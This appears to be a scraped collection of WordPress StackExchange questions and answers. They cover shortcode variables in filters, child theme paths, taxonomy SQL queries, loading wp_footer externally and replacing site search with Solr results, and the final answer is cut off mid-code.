[ { "answer_id": 266901, "author": "CodeMascot", "author_id": 44192, "author_profile": "https://wordpress.stackexchange.com/users/44192", "pm_score": 2, "selected": false, "text": "<p>You can use the <code>use</code> keyword of <strong>PHP</strong>. So with the help of this <code>use</code> keyword you can bring variable inside a function. And also you can write anonymous function to reduce the code. So the whole thing will be-</p>\n\n<pre><code>/**\n * How to get shorcode's input values inside a filter?\n *\n * @param $atts\n */\nfunction my_shortcode_function($atts){\n $value = $atts['id'];\n add_filter('posts_where',function() use ( $value ){\n echo $value;\n });\n\n}\nadd_shortcode('my-shortcode','my_shortcode_function');\n</code></pre>\n\n<p>Hope that helps.</p>\n" }, { "answer_id": 266902, "author": "Dave Romsey", "author_id": 2807, "author_profile": "https://wordpress.stackexchange.com/users/2807", "pm_score": 4, "selected": true, "text": "<p>Using a global variable will work. Here's a demonstration:</p>\n\n<pre><code>function wpse_shortcode_function( $atts ){\n // User provided values are stored in $atts.\n // Default values are passed to shortcode_atts() below.\n // Merged values are stored in the $a array.\n $a = shortcode_atts( [\n 'id' =&gt; false,\n ], $atts );\n\n // Set global variable $value using value of shortcode's id attribute.\n $GLOBALS['value'] = $a['id'];\n\n // Add our filter and do a query.\n add_filter( 'posts_where', 'wpse_filter_value' );\n\n $my_query = new WP_Query( [\n 'p' =&gt; $GLOBALS['value'],\n ] );\n\n if ( $my_query-&gt;have_posts() ) {\n while ( $my_query-&gt;have_posts() ) {\n $my_query-&gt;the_post();\n the_title( '&lt;h1&gt;', '&lt;/h1&gt;');\n }\n wp_reset_postdata();\n }\n\n // Disable the filter.\n remove_filter( 'posts_where', 'wpse_filter_value' );\n}\nadd_shortcode( 'my-shortcode', 'wpse_shortcode_function' );\n\nfunction wpse_filter_value( $where ){\n // $GLOBALS['value'] is accessible here.\n\n // exit ( print_r( $GLOBALS['value'] ) );\n\n return $where;\n}\n</code></pre>\n\n<p>Side note, <a href=\"https://stackoverflow.com/questions/1398801/php-function-inside-a-function-good-or-bad\">declaring a function within another function is not a good practice</a>. </p>\n" }, { "answer_id": 266909, "author": "madalinivascu", "author_id": 84953, "author_profile": "https://wordpress.stackexchange.com/users/84953", "pm_score": 0, "selected": false, "text": "<p>Why not pass the $value as a param?</p>\n\n<pre><code> function filter_value($value){\n echo $value;\n }\n</code></pre>\n\n<p><a href=\"https://codex.wordpress.org/Plugin_API/Filter_Reference/posts_where\" rel=\"nofollow noreferrer\">documentation</a></p>\n" }, { "answer_id": 266923, "author": "birgire", "author_id": 26350, "author_profile": "https://wordpress.stackexchange.com/users/26350", "pm_score": 3, "selected": false, "text": "<p>Here are few workarounds:</p>\n\n<p><strong>Approach #1</strong></p>\n\n<p>You could wrap the shortcode's definition and the <code>posts_where</code> filter's callback in a <strong>class</strong> to be able to pass around a given value between the class methods e.g. as a <em>private</em> variable.</p>\n\n<p><strong>Approach #2</strong></p>\n\n<p>Another approach would be to pass the value as an input to <code>WP_Query</code> within your shortcode's callback:</p>\n\n<pre><code>$query = new WP_Query ( [ 'wpse_value' =&gt; 5, ... ] );\n</code></pre>\n\n<p>and then within your posts_where filter you can access it:</p>\n\n<pre><code>add_filter( 'posts_where', function( $where, \\WP_Query $query )\n{\n\n if( $value = $query-&gt;get( 'wpse_value' ) )\n {\n // can use $value here\n }\n\n return $where;\n\n}, 10, 2 );\n</code></pre>\n\n<p><strong>Approach #3</strong></p>\n\n<p>...or you could also adjust the <a href=\"https://wordpress.stackexchange.com/a/266901/26350\">example</a> by @the_dramatist to be able to remove the callback afterwards by assigning the anonymous function to a variable:</p>\n\n<pre><code>function my_shortcode_function( $atts, $content )\n{\n // shortcode_atts stuff here\n\n $value = 5; // just an example \n\n // Add a filter's callback\n add_filter( 'posts_where', $callback = function( $where ) use ( $value ) {\n // $value accessible here\n return $where;\n } );\n\n // WP_Query stuff here and setup $out\n\n // Remove the filter's callback\n remove_filter( 'posts_where', $callback );\n\n return $out;\n}\n\nadd_shortcode( 'my-shortcode', 'my_shortcode_function' ); \n</code></pre>\n\n<p>Check e.g. the <a href=\"http://php.net/manual/en/functions.anonymous.php\" rel=\"noreferrer\">PHP docs</a> on how to assign an anonymous function, with the use keyword, to a variable. </p>\n\n<p>ps: I think I first learned about this variable assigning trick by @gmazzap, to make it easier to remove an anonymous filter's callback.</p>\n\n<p>Hope it helps!</p>\n" } ]
2017/05/15
[ "https://wordpress.stackexchange.com/questions/266896", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/94498/" ]
I'm trying to get the input value of a shortcode inside a function that is used by a filter, but there seems to be no success. Here is what i did: ``` function my_shortcode_function($atts){ $value = $atts['id']; function filter_value(){ echo $value; } add_filter('posts_where','filter_value'); } add_shortcode('my-shortcode','my_shortcode_function'); ``` Now i know using `$value` inside `filter_value()` won't work because of variable scopes, but even using `$GLOBALS['value']` doesn't work. I even tried using `$value = $atts['id']` inside the `filter_value();` but no success either. How can i use my shortcode like `[my-shortcode id='123']` and pass the 123 value to the filter? Thanks.
Using a global variable will work. Here's a demonstration: ``` function wpse_shortcode_function( $atts ){ // User provided values are stored in $atts. // Default values are passed to shortcode_atts() below. // Merged values are stored in the $a array. $a = shortcode_atts( [ 'id' => false, ], $atts ); // Set global variable $value using value of shortcode's id attribute. $GLOBALS['value'] = $a['id']; // Add our filter and do a query. add_filter( 'posts_where', 'wpse_filter_value' ); $my_query = new WP_Query( [ 'p' => $GLOBALS['value'], ] ); if ( $my_query->have_posts() ) { while ( $my_query->have_posts() ) { $my_query->the_post(); the_title( '<h1>', '</h1>'); } wp_reset_postdata(); } // Disable the filter. remove_filter( 'posts_where', 'wpse_filter_value' ); } add_shortcode( 'my-shortcode', 'wpse_shortcode_function' ); function wpse_filter_value( $where ){ // $GLOBALS['value'] is accessible here. // exit ( print_r( $GLOBALS['value'] ) ); return $where; } ``` Side note, [declaring a function within another function is not a good practice](https://stackoverflow.com/questions/1398801/php-function-inside-a-function-good-or-bad).
266,929
<p>I would like two sites to have exactly the same posts and pages. The second website would pull all the content from the first (images, posts, pages, etc). I tried to do it with <a href="https://wordpress.org/plugins/threewp-broadcast/" rel="nofollow noreferrer">Broadcast</a> but it requires a multisite installation if I understood correctly. </p> <p>Is there a way to make my second blog pulling all its content from the first ? </p> <p>Thank you </p>
[ { "answer_id": 266901, "author": "CodeMascot", "author_id": 44192, "author_profile": "https://wordpress.stackexchange.com/users/44192", "pm_score": 2, "selected": false, "text": "<p>You can use the <code>use</code> keyword of <strong>PHP</strong>. So with the help of this <code>use</code> keyword you can bring variable inside a function. And also you can write anonymous function to reduce the code. So the whole thing will be-</p>\n\n<pre><code>/**\n * How to get shorcode's input values inside a filter?\n *\n * @param $atts\n */\nfunction my_shortcode_function($atts){\n $value = $atts['id'];\n add_filter('posts_where',function() use ( $value ){\n echo $value;\n });\n\n}\nadd_shortcode('my-shortcode','my_shortcode_function');\n</code></pre>\n\n<p>Hope that helps.</p>\n" }, { "answer_id": 266902, "author": "Dave Romsey", "author_id": 2807, "author_profile": "https://wordpress.stackexchange.com/users/2807", "pm_score": 4, "selected": true, "text": "<p>Using a global variable will work. Here's a demonstration:</p>\n\n<pre><code>function wpse_shortcode_function( $atts ){\n // User provided values are stored in $atts.\n // Default values are passed to shortcode_atts() below.\n // Merged values are stored in the $a array.\n $a = shortcode_atts( [\n 'id' =&gt; false,\n ], $atts );\n\n // Set global variable $value using value of shortcode's id attribute.\n $GLOBALS['value'] = $a['id'];\n\n // Add our filter and do a query.\n add_filter( 'posts_where', 'wpse_filter_value' );\n\n $my_query = new WP_Query( [\n 'p' =&gt; $GLOBALS['value'],\n ] );\n\n if ( $my_query-&gt;have_posts() ) {\n while ( $my_query-&gt;have_posts() ) {\n $my_query-&gt;the_post();\n the_title( '&lt;h1&gt;', '&lt;/h1&gt;');\n }\n wp_reset_postdata();\n }\n\n // Disable the filter.\n remove_filter( 'posts_where', 'wpse_filter_value' );\n}\nadd_shortcode( 'my-shortcode', 'wpse_shortcode_function' );\n\nfunction wpse_filter_value( $where ){\n // $GLOBALS['value'] is accessible here.\n\n // exit ( print_r( $GLOBALS['value'] ) );\n\n return $where;\n}\n</code></pre>\n\n<p>Side note, <a href=\"https://stackoverflow.com/questions/1398801/php-function-inside-a-function-good-or-bad\">declaring a function within another function is not a good practice</a>. </p>\n" }, { "answer_id": 266909, "author": "madalinivascu", "author_id": 84953, "author_profile": "https://wordpress.stackexchange.com/users/84953", "pm_score": 0, "selected": false, "text": "<p>Why not pass the $value as a param?</p>\n\n<pre><code> function filter_value($value){\n echo $value;\n }\n</code></pre>\n\n<p><a href=\"https://codex.wordpress.org/Plugin_API/Filter_Reference/posts_where\" rel=\"nofollow noreferrer\">documentation</a></p>\n" }, { "answer_id": 266923, "author": "birgire", "author_id": 26350, "author_profile": "https://wordpress.stackexchange.com/users/26350", "pm_score": 3, "selected": false, "text": "<p>Here are few workarounds:</p>\n\n<p><strong>Approach #1</strong></p>\n\n<p>You could wrap the shortcode's definition and the <code>posts_where</code> filter's callback in a <strong>class</strong> to be able to pass around a given value between the class methods e.g. as a <em>private</em> variable.</p>\n\n<p><strong>Approach #2</strong></p>\n\n<p>Another approach would be to pass the value as an input to <code>WP_Query</code> within your shortcode's callback:</p>\n\n<pre><code>$query = new WP_Query ( [ 'wpse_value' =&gt; 5, ... ] );\n</code></pre>\n\n<p>and then within your posts_where filter you can access it:</p>\n\n<pre><code>add_filter( 'posts_where', function( $where, \\WP_Query $query )\n{\n\n if( $value = $query-&gt;get( 'wpse_value' ) )\n {\n // can use $value here\n }\n\n return $where;\n\n}, 10, 2 );\n</code></pre>\n\n<p><strong>Approach #3</strong></p>\n\n<p>...or you could also adjust the <a href=\"https://wordpress.stackexchange.com/a/266901/26350\">example</a> by @the_dramatist to be able to remove the callback afterwards by assigning the anonymous function to a variable:</p>\n\n<pre><code>function my_shortcode_function( $atts, $content )\n{\n // shortcode_atts stuff here\n\n $value = 5; // just an example \n\n // Add a filter's callback\n add_filter( 'posts_where', $callback = function( $where ) use ( $value ) {\n // $value accessible here\n return $where;\n } );\n\n // WP_Query stuff here and setup $out\n\n // Remove the filter's callback\n remove_filter( 'posts_where', $callback );\n\n return $out;\n}\n\nadd_shortcode( 'my-shortcode', 'my_shortcode_function' ); \n</code></pre>\n\n<p>Check e.g. the <a href=\"http://php.net/manual/en/functions.anonymous.php\" rel=\"noreferrer\">PHP docs</a> on how to assign an anonymous function, with the use keyword, to a variable. </p>\n\n<p>ps: I think I first learned about this variable assigning trick by @gmazzap, to make it easier to remove an anonymous filter's callback.</p>\n\n<p>Hope it helps!</p>\n" } ]
2017/05/15
[ "https://wordpress.stackexchange.com/questions/266929", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/111810/" ]
I would like two sites to have exactly the same posts and pages. The second website would pull all the content from the first (images, posts, pages, etc). I tried to do it with [Broadcast](https://wordpress.org/plugins/threewp-broadcast/) but it requires a multisite installation if I understood correctly. Is there a way to make my second blog pulling all its content from the first ? Thank you
Using a global variable will work. Here's a demonstration: ``` function wpse_shortcode_function( $atts ){ // User provided values are stored in $atts. // Default values are passed to shortcode_atts() below. // Merged values are stored in the $a array. $a = shortcode_atts( [ 'id' => false, ], $atts ); // Set global variable $value using value of shortcode's id attribute. $GLOBALS['value'] = $a['id']; // Add our filter and do a query. add_filter( 'posts_where', 'wpse_filter_value' ); $my_query = new WP_Query( [ 'p' => $GLOBALS['value'], ] ); if ( $my_query->have_posts() ) { while ( $my_query->have_posts() ) { $my_query->the_post(); the_title( '<h1>', '</h1>'); } wp_reset_postdata(); } // Disable the filter. remove_filter( 'posts_where', 'wpse_filter_value' ); } add_shortcode( 'my-shortcode', 'wpse_shortcode_function' ); function wpse_filter_value( $where ){ // $GLOBALS['value'] is accessible here. // exit ( print_r( $GLOBALS['value'] ) ); return $where; } ``` Side note, [declaring a function within another function is not a good practice](https://stackoverflow.com/questions/1398801/php-function-inside-a-function-good-or-bad).
267,002
<p>I have an external website that needs to load the header and footer from another site in Wordpress.</p> <p>I've managed to have this done with the following code:</p> <pre><code>&lt;?php require_once("wp-blog-header.php"); /* setup the wordpress environment */ require_once(dirname(__FILE__) . "/includes/head.php"); ?&gt; </code></pre> <p>This code outputs the correct header. Inside <code>head.php</code> I call <code>wp_head();</code> and all works as excpected.</p> <p>When I do the same thing for the footer, the <code>wp_footer();</code> function doesn't output the scripts.</p> <p>It only outputs the scripts if I call <code>wp_head();</code> right before <code>wp_footer();</code></p> <p>This works but it also outputs all of the header inside my footer which is not something I want.</p> <p>How can I execute <code>wp_footer()</code> without having to call <code>wp_head()</code> or how can I just output the scripts that are loaded via <code>wp_enqueue_script()</code> in my functions.php page to the footer?</p> <p>Any ideas? Thank you in advance.</p>
[ { "answer_id": 267003, "author": "Mark Kaplun", "author_id": 23970, "author_profile": "https://wordpress.stackexchange.com/users/23970", "pm_score": 0, "selected": false, "text": "<p>There are probably many ways in which this kind of code may fail, as wordpress will most likely assume it displays the home page and therefor add (or not) scripts and styling based on it.</p>\n\n<p>There are probably many filters and actions that are triggered or their execution result is based on the page type being served. You might to set the <code>$_SERVER</code> variable properly to get the results you want.</p>\n\n<p>OTOH it sounds like you are doing it the wrong way. If wordpress supply the visual framework, then the other site should be embedded into it, not the other way around. If for whatever reason you just can't you should consider just not being \"clever\" and embed directly the CSS and JS you need</p>\n" }, { "answer_id": 267005, "author": "VVV", "author_id": 119747, "author_profile": "https://wordpress.stackexchange.com/users/119747", "pm_score": 2, "selected": true, "text": "<p>For what it's worth, I found a solution to my problem and posting it here for other lost souls :)</p>\n\n<pre><code>&lt;?php\nrequire_once(\"wp-blog-header.php\"); /* setup the wordpress environment */ \n\n// This is to fool the system\n// In order for wp_footer() to execute, we need to run wp_head() but since we don't want the output of the header again,\n// we put it in a buffer, execute the function and then clear the buffer resulting in what we need\nob_start();\nwp_head();\nob_clean();\n\nrequire_once(dirname(__FILE__) . \"/includes/footer.php\"); \n?&gt;\n</code></pre>\n" } ]
2017/05/16
[ "https://wordpress.stackexchange.com/questions/267002", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/119747/" ]
I have an external website that needs to load the header and footer from another site in Wordpress. I've managed to have this done with the following code: ``` <?php require_once("wp-blog-header.php"); /* setup the wordpress environment */ require_once(dirname(__FILE__) . "/includes/head.php"); ?> ``` This code outputs the correct header. Inside `head.php` I call `wp_head();` and all works as excpected. When I do the same thing for the footer, the `wp_footer();` function doesn't output the scripts. It only outputs the scripts if I call `wp_head();` right before `wp_footer();` This works but it also outputs all of the header inside my footer which is not something I want. How can I execute `wp_footer()` without having to call `wp_head()` or how can I just output the scripts that are loaded via `wp_enqueue_script()` in my functions.php page to the footer? Any ideas? Thank you in advance.
For what it's worth, I found a solution to my problem and posting it here for other lost souls :) ``` <?php require_once("wp-blog-header.php"); /* setup the wordpress environment */ // This is to fool the system // In order for wp_footer() to execute, we need to run wp_head() but since we don't want the output of the header again, // we put it in a buffer, execute the function and then clear the buffer resulting in what we need ob_start(); wp_head(); ob_clean(); require_once(dirname(__FILE__) . "/includes/footer.php"); ?> ```
267,060
<p>I want to get all posts that have a particular term of taxonomy A <em>and</em> a particular term of taxonomy B. </p> <p>Here is the query I'm running: </p> <pre><code> SELECT wp_posts.ID, wp_posts.post_title FROM wp_posts INNER JOIN wp_term_relationships ON wp_posts.ID = wp_term_relationships.object_id INNER JOIN wp_term_taxonomy ON wp_term_relationships.term_taxonomy_id = wp_term_taxonomy.term_taxonomy_id INNER JOIN wp_terms ON wp_term_taxonomy.term_id = wp_terms.term_id WHERE (wp_term_taxonomy.taxonomy = 'category' AND wp_terms.slug in ('uncategorized')) AND (wp_term_taxonomy.taxonomy = 'post_tag' AND wp_terms.slug in ('red')) ORDER BY ID DESC </code></pre> <p>This returns 0 results despite querying on a DB / WP install that has a post with a category of "uncategorized" and a tag of "red"</p> <p><a href="https://i.stack.imgur.com/RatjA.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/RatjA.png" alt="enter image description here"></a></p>
[ { "answer_id": 267076, "author": "Anthony", "author_id": 27967, "author_profile": "https://wordpress.stackexchange.com/users/27967", "pm_score": 1, "selected": false, "text": "<p>As @Mark Kaplun mentioned, the WP API can reveal the the queries performed </p>\n\n<p>Below is a simple query using the API in a template to see what's going on: </p>\n\n<pre><code>&lt;?php\n/*\n * Template Name: Troubleshooting\n */\n\n$args = array(\n 'post_type' =&gt; 'post',\n 'tax_query' =&gt; array(\n 'relation' =&gt; 'AND',\n array(\n 'taxonomy' =&gt; 'category',\n 'field' =&gt; 'slug',\n 'terms' =&gt; array( 'uncategorized' ),\n ),\n array(\n 'taxonomy' =&gt; 'post_tag',\n 'field' =&gt; 'slug',\n 'terms' =&gt; array( 'red' ),\n ),\n ),\n);\n$query = new WP_Query( $args ); \necho $query-&gt;request;\n</code></pre>\n" }, { "answer_id": 361551, "author": "Mosrur", "author_id": 143999, "author_profile": "https://wordpress.stackexchange.com/users/143999", "pm_score": 0, "selected": false, "text": "<p>You're almost there but I just modified the SQL a bit and feels like the below solution should do the trick - </p>\n\n<pre><code>SELECT wp_posts.ID, wp_posts.post_title\nFROM wp_posts\n INNER JOIN wp_term_relationships ON wp_posts.ID = wp_term_relationships.object_id\n INNER JOIN wp_term_taxonomy ON wp_term_relationships.term_taxonomy_id = wp_term_taxonomy.term_taxonomy_id\n INNER JOIN wp_terms ON wp_term_taxonomy.term_id = wp_terms.term_id\nWHERE wp_term_taxonomy.taxonomy IN ('category', 'post_tag')\n AND wp_terms.slug in ('uncategorized', 'red')\nORDER BY ID DESC;\n</code></pre>\n" } ]
2017/05/16
[ "https://wordpress.stackexchange.com/questions/267060", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/27967/" ]
I want to get all posts that have a particular term of taxonomy A *and* a particular term of taxonomy B. Here is the query I'm running: ``` SELECT wp_posts.ID, wp_posts.post_title FROM wp_posts INNER JOIN wp_term_relationships ON wp_posts.ID = wp_term_relationships.object_id INNER JOIN wp_term_taxonomy ON wp_term_relationships.term_taxonomy_id = wp_term_taxonomy.term_taxonomy_id INNER JOIN wp_terms ON wp_term_taxonomy.term_id = wp_terms.term_id WHERE (wp_term_taxonomy.taxonomy = 'category' AND wp_terms.slug in ('uncategorized')) AND (wp_term_taxonomy.taxonomy = 'post_tag' AND wp_terms.slug in ('red')) ORDER BY ID DESC ``` This returns 0 results despite querying on a DB / WP install that has a post with a category of "uncategorized" and a tag of "red" [![enter image description here](https://i.stack.imgur.com/RatjA.png)](https://i.stack.imgur.com/RatjA.png)
As @Mark Kaplun mentioned, the WP API can reveal the the queries performed Below is a simple query using the API in a template to see what's going on: ``` <?php /* * Template Name: Troubleshooting */ $args = array( 'post_type' => 'post', 'tax_query' => array( 'relation' => 'AND', array( 'taxonomy' => 'category', 'field' => 'slug', 'terms' => array( 'uncategorized' ), ), array( 'taxonomy' => 'post_tag', 'field' => 'slug', 'terms' => array( 'red' ), ), ), ); $query = new WP_Query( $args ); echo $query->request; ```
267,091
<p>According to the documentation (<a href="https://codex.wordpress.org/Child_Themes" rel="noreferrer">https://codex.wordpress.org/Child_Themes</a> and <a href="https://developer.wordpress.org/reference/functions/get_template_directory_uri/" rel="noreferrer">https://developer.wordpress.org/reference/functions/get_template_directory_uri/</a>), it's my understanding that <code>get_template_directory_uri()</code> will return the URL of the parent theme's directory if used within a child theme. But that is not happening for me.</p> <p>In a child theme I'm trying to develop, when I use <code>get_template_directory_uri()</code> it returns the URL for the child theme's directory, not it's parent theme directory. If I click on Theme Details for the child theme on the manage themes page, WordPress states that the theme is a child of another theme, exactly as I would expect. I have a </p> <pre><code>Template: parent </code></pre> <p>line in the child theme's style.css.</p> <p>Other relevant facts:</p> <ul> <li>I'm using WordPress Multi-Site</li> <li>I developed the parent theme and I'm using it for one of the other sites within my Multi-Site and it works just fine</li> <li>Both themes (parent and child) are Network activated and accessible in the site I'm working in</li> <li>I tried pointing the child theme at the twentyfourteen theme and I'm seeing the same behavior, so I don't think it's an issue with the parent theme.</li> <li>I disabled all of my plugins to see if one of them was the issue with no success - none of the plugins appear to be the cause of this</li> <li>I created a copy of twentyfourteen and made it a child theme of my parent theme and same problem happens</li> <li>In my copy of twentyfourteen, I then also added a Template: line in style.css to make it a child them of twentyfourteen and I'm seeing the same behavior as well (i.e., the manage themes page states that the copied theme is a child of twentyfourteen but the get_template_directory_uri function isn't giving me the parent theme's directory)</li> </ul> <p>Does anyone have any suggestions on what could be the issue here? Or am I misinterpreting how <code>get_template_directory_uri()</code> is supposed to work?</p>
[ { "answer_id": 267093, "author": "Celso Bessa", "author_id": 22694, "author_profile": "https://wordpress.stackexchange.com/users/22694", "pm_score": 3, "selected": false, "text": "<p>What you need is <a href=\"https://codex.wordpress.org/Function_Reference/get_stylesheet_directory_uri\" rel=\"nofollow noreferrer\"><code>get_stylesheet_directory_uri</code></a>, which works exactly the same like <code>get_template_directory_uri </code> but it will return the child theme directory if you are using a child theme, and it will return the parent theme directory if not.</p>\n<pre><code>echo get_stylesheet_directory_uri();\n</code></pre>\n" }, { "answer_id": 267386, "author": "Bill", "author_id": 119813, "author_profile": "https://wordpress.stackexchange.com/users/119813", "pm_score": 4, "selected": true, "text": "<p><strong>CAUSE</strong></p>\n\n<p>OK, after digging into the WordPress code and the database, the problem was </p>\n\n<pre><code>get_option('template')\n</code></pre>\n\n<p>which is called by </p>\n\n<pre><code>wp-includes/theme.php : get_template()\n</code></pre>\n\n<p>was returning the child theme, rather than the parent theme, but only for a specific site within my multi-site. And looking in the wp_{SITE-ID}_options table for that site, the database record where</p>\n\n<pre><code>option_name = \"template\"\n</code></pre>\n\n<p>the record was pointing at the child theme, not the parent theme. I'm not sure why Theme Details on the manage themes page in the Dashboard was stating that my problem child theme was a child theme when the database record wasn't correct. </p>\n\n<p>As to why this database entry got screwed up, I'm not sure, but when I was originally trying to develop the problem child theme, it broke my WordPress Multi-Site (including the Dashboard) and so I temporarily renamed the theme's folder name on the server to get WordPress to fall back to a default theme - maybe this was the cause.</p>\n\n<p><strong>SOLUTION</strong></p>\n\n<p>Switching the theme to a different theme and then back to the child theme fixed this - it causes the relevant database record (i.e., option_name = \"template\" in wp_{SITE-ID}_options) to get set to the correct value, i.e., the parent theme.</p>\n" } ]
2017/05/16
[ "https://wordpress.stackexchange.com/questions/267091", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/119813/" ]
According to the documentation (<https://codex.wordpress.org/Child_Themes> and <https://developer.wordpress.org/reference/functions/get_template_directory_uri/>), it's my understanding that `get_template_directory_uri()` will return the URL of the parent theme's directory if used within a child theme. But that is not happening for me. In a child theme I'm trying to develop, when I use `get_template_directory_uri()` it returns the URL for the child theme's directory, not it's parent theme directory. If I click on Theme Details for the child theme on the manage themes page, WordPress states that the theme is a child of another theme, exactly as I would expect. I have a ``` Template: parent ``` line in the child theme's style.css. Other relevant facts: * I'm using WordPress Multi-Site * I developed the parent theme and I'm using it for one of the other sites within my Multi-Site and it works just fine * Both themes (parent and child) are Network activated and accessible in the site I'm working in * I tried pointing the child theme at the twentyfourteen theme and I'm seeing the same behavior, so I don't think it's an issue with the parent theme. * I disabled all of my plugins to see if one of them was the issue with no success - none of the plugins appear to be the cause of this * I created a copy of twentyfourteen and made it a child theme of my parent theme and same problem happens * In my copy of twentyfourteen, I then also added a Template: line in style.css to make it a child them of twentyfourteen and I'm seeing the same behavior as well (i.e., the manage themes page states that the copied theme is a child of twentyfourteen but the get\_template\_directory\_uri function isn't giving me the parent theme's directory) Does anyone have any suggestions on what could be the issue here? Or am I misinterpreting how `get_template_directory_uri()` is supposed to work?
**CAUSE** OK, after digging into the WordPress code and the database, the problem was ``` get_option('template') ``` which is called by ``` wp-includes/theme.php : get_template() ``` was returning the child theme, rather than the parent theme, but only for a specific site within my multi-site. And looking in the wp\_{SITE-ID}\_options table for that site, the database record where ``` option_name = "template" ``` the record was pointing at the child theme, not the parent theme. I'm not sure why Theme Details on the manage themes page in the Dashboard was stating that my problem child theme was a child theme when the database record wasn't correct. As to why this database entry got screwed up, I'm not sure, but when I was originally trying to develop the problem child theme, it broke my WordPress Multi-Site (including the Dashboard) and so I temporarily renamed the theme's folder name on the server to get WordPress to fall back to a default theme - maybe this was the cause. **SOLUTION** Switching the theme to a different theme and then back to the child theme fixed this - it causes the relevant database record (i.e., option\_name = "template" in wp\_{SITE-ID}\_options) to get set to the correct value, i.e., the parent theme.
267,095
<p>I'd like to replace the existing search function with an external query (from Solr) but I'm having trouble showing the results in the <code>search.php</code> page. This is the code I have in <code>functions.php</code>:</p> <pre><code>add_action('pre_get_posts', 'my_search_query'); function my_search_query($query) { if($query-&gt;is_search() &amp;&amp; $query-&gt;is_main_query() &amp;&amp; get_query_var('s', false)) { $desired_query = get_query_var('s', false); $url = 'http://{SOLR_SERVER}:8983/solr/{CORE}/select?indent=on&amp;q=' . $desired_query . '~2&amp;wt=json'; $result = file_get_contents($url); $data = json_decode($result, true); $ids = array(); foreach ($data['response']['docs'] as $item) { array_push($ids, $item['id']); } $paged = (get_query_var('paged')) ? get_query_var('paged') : 1; $query = new WP_Query(array( 'post__in' =&gt; $ids, 'post_type' =&gt; array('last-news','blog'), 'paged' =&gt; $paged, 'posts_per_page' =&gt; 5, )); } return $query; } </code></pre> <p>And this is the <code>search.php</code>:</p> <pre><code>&lt;section class="content"&gt; &lt;div class="page-title pad group"&gt; &lt;h1&gt; &lt;?php if ( have_posts() ): ?&gt;&lt;i class="fa fa-search"&gt;&lt;/i&gt;&lt;?php endif; ?&gt; &lt;?php if ( !have_posts() ): ?&gt;&lt;i class="fa fa-exclamation-circle"&gt;&lt;/i&gt;&lt;?php endif; ?&gt; &lt;?php echo $wp_query-&gt;found_posts ?&gt; &lt;?php _e('Search Results','theme'); ?&gt; &lt;/h1&gt; &lt;/div&gt; &lt;div class="pad group"&gt; &lt;div class="notebox"&gt; &lt;?php _e('Found','theme'); ?&gt; "&lt;span&gt;&lt;?php echo get_search_query(); ?&gt;&lt;/span&gt;". &lt;?php if ( !have_posts() ): ?&gt; &lt;?php _e('Try with another term:','theme'); ?&gt; &lt;?php endif; ?&gt; &lt;div class="search-again"&gt; &lt;?php get_search_form(); ?&gt; &lt;/div&gt; &lt;/div&gt; &lt;?php if ( have_posts() ) : ?&gt; &lt;div class="post-list group"&gt; &lt;?php $i = 1; while ( have_posts() ): the_post(); echo '&lt;div class="post-row"&gt;'; get_template_part('content'); echo '&lt;/div&gt;'; endwhile; ?&gt; &lt;/div&gt;&lt;!--/.post-list--&gt; &lt;?php get_template_part('inc/pagination'); ?&gt; &lt;?php endif; ?&gt; &lt;/div&gt;&lt;!--/.pad--&gt; &lt;/section&gt;&lt;!--/.content--&gt; </code></pre> <p>The echo <code>$wp_query-&gt;found_posts</code> returns the number '100' so it seems to be getting something but then the <code>have_posts()</code> functions returns a false value.</p> <p>What am I doing wrong? I just want to return the posts in the <code>$ids</code> array whenever a search is done, I don't need no other filter.</p> <p><strong>Edit (alternative solution):</strong></p> <p>I also can do something like this:</p> <pre><code>add_action('pre_get_posts', 'my_search_query'); function my_search_query($query) { if($query-&gt;is_search() &amp;&amp; $query-&gt;is_main_query() &amp;&amp; get_query_var('s', false)) { $desired_query = get_query_var('s', false); $url = 'http://{SOLR_SERVER}:8983/solr/{CORE}/select?indent=on&amp;q=' . $desired_query . '~2&amp;wt=json'; $result = file_get_contents($url); $data = json_decode($result, true); $ids = array(); foreach ($data['response']['docs'] as $item) { array_push($ids, $item['id']); } $query-&gt;set('post__in', $ids ); } return $query; } </code></pre> <p>The problem with this one is that the search, as I could understand, is going to be run with the search term and only will return the posts matching the term within the specific post ids. I don't want to make this operation, as I already did it with solr. Also, Solr allows me to make a Fuzzy query, but this won't work in this setting because the wordpress search will return 0 results, not finding the exact term.</p>
[ { "answer_id": 267100, "author": "Milo", "author_id": 4771, "author_profile": "https://wordpress.stackexchange.com/users/4771", "pm_score": 2, "selected": false, "text": "<p>You can't return a query object from a <code>pre_get_posts</code> action. In fact, it shouldn't return anything, the query object is passed by reference.</p>\n\n<p>Your second attempt is close, you can unset the <code>s</code> query var so WordPress doesn't try to search on that term. Of course, now <code>s</code> has no value, so any functions that try to output the search term will just get an empty string.</p>\n\n<pre><code>add_action('pre_get_posts', 'my_search_query');\nfunction my_search_query($query) {\n if($query-&gt;is_search() &amp;&amp; $query-&gt;is_main_query() &amp;&amp; get_query_var('s', false)) {\n // get your $ids, then\n unset( $query-&gt;query_vars['s'] );\n $query-&gt;set( 'post__in', $ids );\n }\n}\n</code></pre>\n" }, { "answer_id": 367689, "author": "Brandonrugzie", "author_id": 188925, "author_profile": "https://wordpress.stackexchange.com/users/188925", "pm_score": 0, "selected": false, "text": "<p>Here is a little more on the answer here with some comments about what we're doing at each step, and how to convert it to work within WordPress' DB as well</p>\n\n<pre><code>#run before posts are grabbed from DB\nadd_action('pre_get_posts', 'my_search_query');\nfunction my_search_query($query) {\n #global $wpdb; # used for internal with WP searching\n #is this query the main search query, and is there a search query provided?\n if($query-&gt;is_search() &amp;&amp; $query-&gt;is_main_query() &amp;&amp; get_query_var('s', false)) {\n\n #fun SQL goes here\n\n #INTERNAL\n #$sql = \"\" #SQL query\n #$results = $wpdb-&gt;get_results( $sql ); # used for internal with WP searching\n\n #EXTERNAL\n #$url = 'http://yourapi.com/json'; #go out to an api or something\n #$result = file_get_contents($url);\n #$results = json_decode($result, true);\n\n #create array to hold returned ids\n $ids = array();\n #loop through each and grab ID\n foreach ($results as $item) {\n array_push($results, $item['id']);\n }\n #make sure there are posts if you're going to replace search\n if( ! empty( $ids )) { \n #Tell original WP search to shove it\n unset( $query-&gt;query_vars['s'] );\n #replace the current query with your results\n $query-&gt;set( 'post__in', $ids 